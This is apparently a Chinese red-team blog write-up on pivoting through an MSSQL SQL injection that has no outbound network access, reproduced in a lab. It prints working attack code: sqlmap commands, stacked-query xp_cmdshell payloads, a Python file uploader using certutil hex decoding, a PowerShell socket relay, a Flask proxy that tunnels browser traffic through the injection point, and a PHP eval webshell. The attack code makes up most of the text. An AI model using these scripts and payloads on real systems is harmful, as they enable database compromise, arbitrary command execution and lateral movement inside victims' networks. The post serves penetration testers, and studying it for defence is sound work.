|
这是我在一次攻防演练中遇到的目标,目标有 SQL 注入且是站库分离。虽然能够用 xp_cmdshell 执行命令但是由于存在防火墙从而无法出网,进而导致不能回连 CS 或 MSF,所以出此下策:使用 MSSQL 进行流量代理。 环境模拟
- 攻击机(本机)
- IP:10.211.55.2
- 环境:Python、SQLMap
- Web服务器
- 外网 IP:10.211.55.3
- 内网 IP:10.37.129.4
- 服务:PHPStudy、PHP 7.4.3、PHP扩展-pdo_sqlsrv、PHP扩展-sqlsrv
- MSSQL服务器
- 注入点
- URL: http://10.37.129.4/sql.php
- POST 参数:id=1

网络拓扑图
情景复现
找到注入点
这里其实难度不是很大,因为当时的目标并没有 WAF 所以注入的流量没有被拦截,很顺利的就注入成功了。 粗略说一下,在网站中找到了一个接口,接口要 POST 一个 id 来获取内容

接口
通过测试 id=1 和 id=1' 发现可能有注入

测试接口是否注入——正常
显示正常,再换成第二个,就出错了

测试接口是否注入——出错
本人比较懒,所以随即使用 SQLMap 进行了进一步的测试
$ sqlmap -u http://10.211.55.3/sql.php --data="id=1" --dbs

SQLMap可以注入
可以注入,随手试一下 --os-shell 也是可以执行的

可以执行命令
但是权限很小(当时权限也是很小的)
想办法上传文件
当时是只能出 ICMP 协议的,尝试过用各种工具进行 ICMP 代理转发,但由于 ICMP 不稳定,而且部署麻烦,并没有使用 ICMP 协议上线,而且直接通过注入点用 SQL 语句写入文件是不成功的,所以尝试使用 ICMP 转发的时候,为了上传那些乱七八糟的文件也花费了一点时间。
在我的另一篇文章《Windows 下使用命令行操作文件总结(速查)》 中提到过如何用 PowerShell 或者 CMD 进行文件读写。当时为了传那些工具就是利用了文章里的方法去写文件。这里简单讲一下代码,方便以后有人也想上传文件的时候直接用
代码解读
如果你不关心具体的原理,可以跳过这一步
def exec_xp_cmdshell(cmd):
url = 'http://10.37.129.4/sql.php'
payload = "1';DECLARE @bjxl VARCHAR(8000);SET @bjxl=0x%s;EXEC master..xp_cmdshell @bjxl-- ZKN" % binascii.hexlify(
cmd.encode()).decode()
requests.post(url, data={"id": payload})
这里其实就是一个简单的执行 xp_cmdshell
def main():
global path_to_save
if len(sys.argv) < 3:
print(&#34;Usage: python3 upload.py local_file_to_read remote_path_to_save&#34;)
sys.exit(1)
cmd = &#39;&#39;&#39;>>&#34;{path}&#34; set /p=&#34;{content}&#34;<nul&#39;&#39;&#39;
file = open(sys.argv[1], &#39;rb&#39;)
path_to_save = sys.argv[2]
exec_xp_cmdshell(&#39;cd . > &#34;{}&#34;&#39;.format(path_to_save + &#39;.tmp&#39;))
while 1:
content = file.read(512)
payload = cmd.format(path=path_to_save + &#39;.tmp&#39;, content=binascii.hexlify(content).decode())
exec_xp_cmdshell(payload)
if len(content) < 512:
break
exec_xp_cmdshell(&#39;certUtil -decodehex &#34;{old_path}&#34; &#34;{new_path}&#34;&#39;.format(old_path=path_to_save + &#39;.tmp&#39;, new_path=path_to_save))
exec_xp_cmdshell(&#39;del &#34;{}&#34;&#39;.format(path_to_save + &#39;.tmp&#39;))
print(&#39;Uploaded successfully!&#39;)
if __name__ == &#39;__main__&#39;:
main()
这段代码会先判断参数有没有给全,没有的话就退出。 然后创建文件。 创建完了之后会循环读取文件内容并用 Hex 编码转换一下然后通过 CMD 写入。 写入完之后使用 certUtil 将其从 Hex 编码中解码出来
另寻出路——内网代理
原理
一般内网代理都需要反向或正向连接,但是这里机器是不出网的,更不能正向连接,所以我们通过 xp_cmdshell 执行 PowerShell 去发送 HTTP 包,原理如下:

代理原理图
其实不难理解,这里按照步骤分析
- 把浏览器代理设置为我们的本地代理程序(也就是我写的脚本)
- 浏览器把 HTTP 请求发送到我们的本地代理程序
- 本地代理程序将能够进行 HTTP 请求的 PowerShell 命令与原始的 HTTP 请求封装到 SQL 注入的 Payload 中
- 注入点将 SQL 注入的 Payload 发送到数据库并执行
- 数据库通过 xp_cmdshell 执行 PowerShell 命令
- PowerShell 将原始 HTTP 请求发送至目标,并接受请求,然后一层一层返回
简单吧?代码实现也很简单
代码解读
如果你不关心具体的原理,可以跳过这一步 服务器端
参数化
因为我们在调用的时候是从 CMD 传入参数的,不然每一个请求都重新上传一个脚本将会很麻烦,所以我们定义它的参数:
param(
[string] $remoteHost=&#34;127.0.0.1&#34;,
[int] $port = 80,
[string] $sendData = &#34;UE9TVCAvc3FsLnBocCBIVFRQLzEuMQ0KSG9zdDogMTAuMzcuMTI5LjQNCg0K&#34;
);这里的 $remoteHost 就是我们要发送请求的目的地址,$port 就是端口,而 $sendData 则是我们要发送的 HTTP 请求包。 然后通过 base64 解码我们的 HTTP 请求包
$sendData = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($sendData));创建 TCP 连接
然后就是使用 Socket 来连接目标,如果失败则会返回 FAILED
try{
$socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port);
} catch{
Write-Host &#34;FAILED&#34;
exit -1
}发送数据
随后就是发送我们的请求包并接受响应并输出
$stream = $socket.GetStream( )
$writer = New-Object System.IO.StreamWriter( $stream )
$buffer = New-Object System.Byte[] 1024
$encoding = New-Object System.Text.AsciiEncoding
$flag = $true
while( $socket.Connected -and $flag )
{
$writer.WriteLine( $sendData )
$writer.Flush( )
do{
$read = $stream.Read( $buffer, 0, 1024 )
($encoding.GetBytes( $buffer, 0, $read )|ForEach-Object ToString X2) -join &#39;&#39;
if($read -lt 1024){
$flag = $false
}
} while($flag)
}这里循环 Hex 编码并输出,而且使用 $flag 来标识是否需要结束循环,如果接受到的数据小于我们的 1024 则说明数据传送完毕,直接退出就行了。
本地代理
封装执行 xp_cmdshell 的方法
regex = &#39;MSSQL Proxy(.+?)MSSQL Proxy&#39;
def exec_xp_cmdshell(cmd):
url = &#39;http://10.37.129.4/sql.php&#39;
payload = &#34;1&#39;;DECLARE @bjxl VARCHAR(8000);SET @bjxl=0x%s;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @bjxl-- ZKN&#34; % binascii.hexlify(
cmd.encode()).decode()
requests.post(url, data={&#39;id&#39;: &#34;1&#39;; DELETE FROM sqlmapoutput-- ZKN&#34;})
requests.post(url, data={&#34;id&#34;: payload})
res = requests.post(url, data={
&#34;id&#34;: &#34;1&#39; UNION ALL SELECT NULL, &#39;MSSQL Proxy&#39; + ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32)) + &#39;MSSQL Proxy&#39;,NULL FROM sqlmapoutput ORDER BY id-- ZKN&#34;
})
return &#39;&#39;.join(re.findall(regex, res.text))
这里封装了执行 xp_cmdshell 的方法,通过传入的命令将执行后的结果存入我们定义的表里面,然后通过正则去获取响应。为什么要用正则呢,是因为页面的输出是有不同结果的,常常穿插着我们不用的信息,所以在执行的时候在结果的前后塞一个类似于标识符的东西进行定位。这里就在 SELECT 的时候用了 MSSQL Proxy 这个标识符
封装命令拼接并发送 HTTP 请求的方法
script_path = &#34;C:/Users/MSSQLSERVER/AppData/Local/Temp/mssql_proxy.ps1&#34;
def send_package(ip, port, data):
script_path = &#34;C:/Users/MSSQLSERVER/AppData/Local/Temp/mssql_proxy.ps1&#34;
cmd = &#34;powershell {script_path} -remoteHost {ip} -port {port} -sendData {data}&#34;.format(
script_path=script_path, ip=ip, port=port, data=data
)
return exec_xp_cmdshell(cmd)
这里封装了发送 HTTP 包的方法,主要是把 IP、端口和请求包以参数的形式放进 PowerShell 里去执行。这里我通过前一节的文件上传来提前把 PowerShell 脚本上传上去了,script_path 就是脚本所在的路径
封装清洗数据的方法
def clean_up_response(response):
response = binascii.unhexlify(response.strip().encode()).decode()
headers = response.split(&#39;\r\n\r\n&#39;)[0]
body = &#39;\r\n\r\n&#39;.join(response.split(&#39;\r\n\r\n&#39;)[1:])
res = make_response(body)
res.status = &#39; &#39;.join(headers.split(&#39;\r\n&#39;)[0].split(&#39; &#39;)[1:])
for header in headers.split(&#39;\r\n&#39;)[1:]:
res.headers[header.split(&#39;:&#39;)[0]] = &#39;:&#39;.join(header.split(&#39;:&#39;)[1:])
return res
这里其实很简单,主要是把收到的请求从 Hex 编码解出来,然后分割响应体和响应头并封装成 Flask 的 response
主函数
@app.before_request
def before_request():
if request.method == &#39;CONNECT&#39;:
return
package = &#39;{method} {path} {version}\r\n&#39;.format(
method=request.method,
path=request.full_path,
version=request.environ[&#39;SERVER_PROTOCOL&#39;]
).encode()
host = &#39;&#39;
for k, v in dict(request.headers).items():
if k.upper() == &#39;Connection&#39;.upper():
package += b&#39;Connection: close\r\n&#39;
continue
if k.upper() == &#39;HOST&#39;:
host = v
package += &#39;{k}: {v}\r\n&#39;.format(k=k, v=v).encode()
package += b&#39;\r\n&#39;
package += request.stream.read()
# print(package)
if not host:
return &#34;HostNotFound\r--MSSQL Proxy&#34;
if len(host.split(&#39;:&#39;)) > 1:
ip, port = host.split(&#39;:&#39;)
else:
ip, port = host, 80
response = send_package(ip, port, base64.b64encode(package).decode())
if response == &#39;FAILED&#39;:
return &#34;Failed\r--MSSQL Proxy&#34;, 902
return clean_up_response(response)
if __name__ == &#39;__main__&#39;:
app.run(debug=True, host=&#39;0.0.0.0&#39;, port=4000)
这里的 app.before_request 会在请求到来,但还没有传递到对应的视图的时候会被调用,如果此函数的返回值不是 None 则会直接返回,而不继续调用对应的视图。这里我用来拦截和处理所有请求了。 然后线进行了一个判断,如果请求方法是 CONNECT,即是 HTTPS 请求,则会直接忽略。 继续往下,通过请求的信息,将浏览器的请求包装成了一个 HTTP 请求,并通过前面的 send_package 进行一个请求,然后通过 clean_up_response 进行了数据清洗并返回
用MSSQL代理漫游内网
好了,代理写好了,接下来该继续正事了。 通过内网访问发现那台 Web 服务器上还有一个 8088 端口是开着的,当时通过弱口令进后台然后上传一句话木马拿下的权限,所以这里用一个简单的文件上传功能进行代替
设置代理
后台启动 main.py 开始监听 127.0.0.1:4000

启动Flask
然后在 Chrome 上设置代理。当然,你也可以用别的东西设置代理

设置浏览器代理
获取服务器权限
上传一句话木马
访问页面发现是个文件上传

文件上传界面
本地直接写一个一句话木马上传
<?php eval($_POST[&#39;admin&#39;]); ?>

上传成功
测试连通性

使用HackBar连接成功
总结
后续就是通过这个 shell 来往另一个能够与外网连通的 Web 服务的目录下写 shell 从而更好的进行后续的渗透。 这个脚本说实话用来找落脚点还是比较好的,如果不找落脚点而是直接依赖这个代理进行渗透还是比较鸡肋的。因为脚本还不是很完善,依然有一些问题,比如无法代理 HTTPS、蚁剑无法连接、PowerShell 执行命令容易被杀等。我也会持续更新这个脚本,如果你觉得这个脚本还不错,或者刚好有类似的需求,可以点“阅读原文”来获取脚本,就放在我的 GitHub 上。(记得顺便点个 star !)
<hr/> |
|